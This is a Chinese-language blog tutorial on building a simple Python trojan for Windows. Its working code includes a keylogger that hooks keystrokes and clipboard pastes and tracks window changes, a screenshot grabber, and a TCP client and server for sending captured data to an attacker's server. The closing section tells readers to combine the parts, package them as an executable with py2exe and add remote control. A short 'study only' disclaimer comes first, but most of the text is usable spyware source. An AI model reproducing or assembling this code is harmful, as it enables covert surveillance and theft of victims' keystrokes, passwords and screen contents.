Python編寫簡易木馬程式
0x00 準備
文章內容僅供學習研究、切勿用於非法用途!
這次我們使用Python編寫一個具有鍵盤記錄、截圖以及通訊功能的簡易木馬。依然選用Sublime text2 +JEDI(python自動補全外掛)來擼程式碼,安裝配置JEDI外掛可以參照這裡: /tips/?id=4413
首先準備好我們需要的依賴庫,python hook和pythoncom。
下載安裝python hook
下載安裝pythoncom模組:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
如果覺得麻煩,你可以直接使用整合了所有我們所需要的python庫的商業版Activepython(我們可以用他的免費版):
http://www.activestate.com/activepython
0x01 鍵盤記錄器
說起Keylogger,大家的思維可能早已飛向帶有wifi功能的mini小硬體去了。拋開高科技,我們暫且迴歸本質,探探簡易鍵盤記錄器的原理與實現。
Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然後就是對windows API的各種呼叫。Python之所以用起來方便快捷,主要歸功於這些龐大的支援庫,正所謂“人生苦短,快用Python”。
程式碼部分:
#!python
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#
def get_current_process():
# 獲取最上層的視窗控制程式碼
hwnd = user32.GetForegroundWindow()
# 獲取程式ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
# 將程式ID存入變數中
process_id = "%d" % pid.value
# 申請記憶體
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# 讀取視窗標題
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
# 列印
print
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print
# 關閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定義擊鍵監聽事件函式
def KeyStroke(event):
global current_window
# 檢測目標視窗是否轉移(換了其他視窗就監聽新的視窗)
if event.WindowName != current_window:
current_window = event.WindowName
# 函式呼叫
get_current_process()
# 檢測擊鍵是否常規按鍵(非組合鍵等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果發現Ctrl+v(貼上)事件,就把貼上板內容記錄下來
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 迴圈監聽下一個擊鍵事件
return True
# 建立並註冊hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 註冊hook並執行
kl.HookKeyboard()
pythoncom.PumpMessages()
【知識點】鉤子(Hook):Windows訊息處理機制的一個平臺,應用程式可以在上面設定子程以監視指定視窗的某種訊息,而且所監視的視窗可以是其他程式所建立的。
擼程式碼時一定要注意嚴格區分大小寫。檢查無誤後啟動keylogger:
然後可以嘗試開啟記事本寫點東西,過程中可以看到我們的keylogger視窗正在對我們的輸入實時記錄:
切換視窗時會自動跟蹤到新視窗(眾:這點功能都沒有還敢叫keylogger嗎!),light教授趁機騷擾一下瘋狗,可以看到我們的keylogger已經跟蹤到QQ聊天視窗,並忠實的記錄下我輸入的一切。
0x02 看看你在幹什麼:編寫一個screenshotter
截圖實現起來更簡單,直接呼叫幾個gui相關的api即可,我們直接看程式碼:
#!python
# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
# 獲取桌面
hdesktop = win32gui.GetDesktopWindow()
# 解析度適應
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 建立裝置描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 建立一個記憶體裝置描述表
mem_dc = img_dc.CreateCompatibleDC()
# 建立點陣圖物件
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截圖至記憶體裝置描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 將截圖儲存到檔案中
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# 記憶體釋放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
看看效果如何:
0x03 綜合運用:完成一個簡易木馬
無論是keylogger記錄下的內容,還是screenshotter截獲的圖片,只存在客戶端是沒有太大意義的,我們需要構建一個簡單server和client端來進行通訊,傳輸記錄下的內容到我們的伺服器上。
編寫一個簡單的TCPclient
#!python
# -*- coding: utf-8 -*-
import socket
# 目標地址IP/URL及埠
target_host = "127.0.0.1"
target_port = 9999
# 建立一個socket物件
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 連線主機
client.connect((target_host,target_port))
# 傳送資料
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
# 接收響應
response = client.recv(4096)
print response
編寫一個簡單的TCPserver
#!python
# -*- coding: utf-8 -*-
import socket
import threading
# 監聽的IP及埠
bind_ip = "127.0.0.1"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
def handle_client(client_socket):
request = client_socket.recv(1024)
print "[*] Received:%s" % request
client_socket.send("ok!")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
開啟服務端監聽:
客戶端執行:
服務端接收到客戶端的請求並作出響應:
0x04 結語
最後,你需要做的就是把上面三個模組結合起來,一個簡易的具有鍵盤記錄、螢幕截圖並可以傳送內容到我們服務端的木馬就完成了。可以使用py2exe把指令碼生成exe可執行檔案。當然你還可以繼續發揮,加上遠端控制功能。Py2exe用法可以參考這裡:
http://www.py2exe.org/index.cgi/Tutorial
Enjoy coding~
參考文件:
《Black Hat Python》 https://www.google.com https://www.python.org/ http://www.py2exe.org/
相關文章
- 使用 Vyper 編寫簡易文字識別程式2024-12-09
- 編寫一個簡易計時器程式(edu)2020-11-17
- Python編寫守護程式程式2018-07-28Python
- Python編寫shellcode注入程式2020-08-19Python
- 使用Python編寫猜拳小程式2018-12-18Python
- 如何編寫簡潔的程式碼?2019-02-28
- [譯]用Golang編寫一個簡易聊天室2019-10-23Golang
- Python如何使用tkinter編寫GUI程式2021-09-11PythonGUI
- python如何換行編寫程式碼2021-09-11Python
- 用Python操作SFTP的簡易程式碼2018-05-20PythonFTP
- 手寫簡易webpack2022-01-04Web
- 手寫簡易Promise2019-04-10Promise
- 編寫簡單的Java程式碼:HelloWorid2024-04-29Java
- 程式猿生存指南-52 旋轉木馬2019-02-22
- 微信小程式swiper旋轉木馬2019-03-16微信小程式
- Python編寫一個簡單計算器2021-09-09Python
- 木馬學習2024-04-20
- 木牛流馬2024-06-02
- BetaBot 木馬分析2020-08-19
- 使用pycharm or vscode來編寫python程式碼?2022-12-06PyCharmVSCodePython
- 200行程式碼寫一個簡易的dva2018-05-07行程
- 硬體木馬(一)2024-10-03
- 一句木馬2019-03-01
- 手寫簡易版React框架2020-11-25React框架
- Python使用Socket寫一個簡單聊天程式2018-04-24Python
- Python程式碼編寫過程中有哪些重要技巧?2021-09-23Python
- Python 工匠:編寫條件分支程式碼的技巧2018-10-24Python
- 透過f-string編寫簡潔高效的Python格式化輸出程式碼2024-06-02Python
- python簡易計算器2018-05-19Python
- Java程式編寫2020-12-01Java
- Python編寫簡單的學生資訊管理系統2020-11-08Python
- 在 Laravel 中編寫簡潔的程式碼的策略2021-12-18Laravel
- 用Java編寫一個最簡單的桌面程式2018-04-07Java
- 快速定位挖礦木馬 !2022-03-07
- .NET Core TDD 前傳: 編寫易於測試的程式碼 -- 縫2018-07-25
- nginx負載均衡原理分析到手動編寫簡易負載均衡器2021-04-15Nginx負載
- 手寫一個簡易的Webpack2019-05-07Web
- 寫一個簡易中介軟體2018-10-18